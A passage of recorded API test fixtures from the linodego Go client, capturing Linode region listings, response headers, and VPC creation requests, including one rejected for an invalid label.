172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"gotest_vpc_invalid_label1720728785301308000","region":"us-iad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"errors": [{"reason": "Label must include only ASCII letters, numbers, and dashes", "field": "label"}]}' headers: Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Content-Length: - "104" Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:05 GMT Pragma: - no-cache X-Accepted-Oauth-Scopes: - vpc:read_write X-Frame-Options: - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" status: 400 Bad Request code: 400 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_List.yaml000066400000000000000000000634441474652371000277460ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:04 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728784789574000","region":"us-iad"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74463, "label": "go-test-vpc-1720728784789574000", "description": "", "region": "us-iad", "subnets": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store 